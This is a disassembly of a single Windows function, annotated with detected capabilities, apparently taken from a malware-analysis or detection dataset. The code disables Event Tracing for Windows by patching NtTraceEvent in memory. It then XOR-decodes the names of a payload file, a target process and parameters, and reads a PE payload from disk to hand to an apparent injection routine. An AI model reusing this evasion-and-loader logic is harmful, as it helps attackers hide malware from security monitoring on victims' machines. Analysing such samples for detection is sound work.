Function at 0x140001b20
Capabilities:
Allocate or change rwx memory
Encode data using xor
Get file size
Patch event tracing for windows function
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor r14d, r14d
lea rcx, str.NTDLL
mov dword [rbp - 0x29], r14d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtTraceEvent
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140001c58
mov rdx, rax
lea rcx, str._t__Address_of__NtTraceEvent__:_0x_p__n
call fcn.140001010
mov eax, r14d
mov edx, r14d
nop
movzx ecx, byte [rdx + rbx]
cmp cl, 0xb8
je 0x140001bc1
cmp cl, 0xc3
je 0x140001c58
cmp cl, 0xf
je 0x140001c58
cmp cl, 5
je 0x140001c58
inc eax
inc rdx
cmp rdx, 0x20
jl 0x140001b90
jmp 0x140001bc9
cdqe
inc rbx
add rbx, rax
mov rdx, rbx
lea rcx, str._t__Position_Of_NtTraceEvents_SSN_:_0x_p__n
call fcn.140001010
lea rcx, str._t__Patching_with__FF__...
call fcn.140001010
lea r9, [rbp - 0x29]
mov edx, 4
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001c16
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtect__1__failed_with_error___d__n
call fcn.140001010
jmp 0x140001c58
mov dword [rbx], 0xff
lea r9, [rbp - 0x29]
mov r8d, dword [rbp - 0x29]
mov edx, 4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001c4c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtect__2__failed_with_error___d__n
call fcn.140001010
jmp 0x140001c58
lea rcx, str.___DONE____n
call fcn.140001010
movdqa xmm1, xmmword [0x140003860]
lea rdx, [0x1400050a0]
mov rcx, rdx
mov eax, r14d
nop dword [rax]
movdqu xmm0, xmmword [rcx]
add eax, 0x10
lea rcx, [rcx + 0x10]
xorps xmm0, xmm1
movdqu xmmword [rcx - 0x10], xmm0
cmp eax, 0x20
jb 0x140001c70
movsxd rcx, eax
cmp rcx, 0x2d
jae 0x140001cae
add rcx, rdx
nop dword [rax]
nop dword [rax + rax]
xor byte [rcx], 0xaa
lea rcx, [rcx + 1]
inc eax
cmp eax, 0x2d
jb 0x140001ca0
lea rdx, [0x140005078]
mov eax, r14d
mov rcx, rdx
nop dword [rax + rax]
movdqu xmm0, xmmword [rcx]
add eax, 0x10
lea rcx, [rcx + 0x10]
xorps xmm0, xmm1
movdqu xmmword [rcx - 0x10], xmm0
cmp eax, 0x20
jb 0x140001cc0
movsxd rcx, eax
cmp rcx, 0x24
jae 0x140001cfe
add rcx, rdx
nop dword [rax]
nop dword [rax + rax]
xor byte [rcx], 0xaa
lea rcx, [rcx + 1]
inc eax
cmp eax, 0x24
jb 0x140001cf0
mov ecx, r14d
lea rax, [0x1400050d0]
nop dword [rax + rax]
xor byte [rax], 0xaa
lea rax, [rax + 1]
inc ecx
cmp ecx, 0xc
jb 0x140001d10
mov eax, dword [0x1400050c8]
lea rdx, [rbp - 0x11]
movups xmm0, xmmword [0x1400050a0]
mov dword [rbp + 0x17], eax
lea rcx, str.PE_PAYLOAD:__s_n
movups xmm1, xmmword [0x1400050b0]
movzx eax, byte [0x1400050cc]
movups xmmword [rbp - 0x11], xmm0
mov byte [rbp + 0x1b], al
movsd xmm0, qword [0x1400050c0]
mov eax, dword [0x140005098]
movsd qword [rbp + 0xf], xmm0
movups xmm0, xmmword [0x140005078]
mov dword [rbp + 0x3f], eax
mov eax, dword [0x1400050d8]
movups xmmword [rbp - 1], xmm1
mov qword [rsp + 0xd0], rsi
movups xmm1, xmmword [0x140005088]
mov byte [rbp + 0x1c], r14b
movups xmmword [rbp + 0x1f], xmm0
mov byte [rbp + 0x43], r14b
movsd xmm0, qword [0x1400050d0]
movsd qword [rbp - 0x21], xmm0
movups xmmword [rbp + 0x2f], xmm1
mov dword [rbp - 0x19], eax
mov byte [rbp - 0x15], r14b
call fcn.140001010
lea rdx, [rbp + 0x1f]
lea rcx, str.TARGET_PROCESS:__s_n
call fcn.140001010
lea rdx, [rbp - 0x21]
lea rcx, str.PARMS:__s_n
call fcn.140001010
mov qword [rsp + 0x30], r14
lea rcx, [rbp - 0x11]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov dword [rbp - 0x29], r14d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001e25
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140003420]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
jmp 0x140001f10
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp eax, 0xffffffff
jne 0x140001e61
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x140003450]
mov r8d, eax
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001f10
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140001e8f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x140003460]
jmp 0x140001e44
lea r9, [rbp - 0x29]
mov qword [rsp + 0x20], r14
mov r8d, esi
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001ed7
cmp esi, dword [rbp - 0x29]
jne 0x140001ed7
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x140001f10
lea r8, [rbp - 0x21]
mov rcx, rbx
lea rdx, [rbp + 0x1f]
call fcn.140001390
neg eax
sbb eax, eax
neg eax
dec eax
jmp 0x140001f29
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140003470]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ReadFileFromDisk_failed_with_error:__lu_n
call fcn.140001010
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xd0]
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140001f70
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret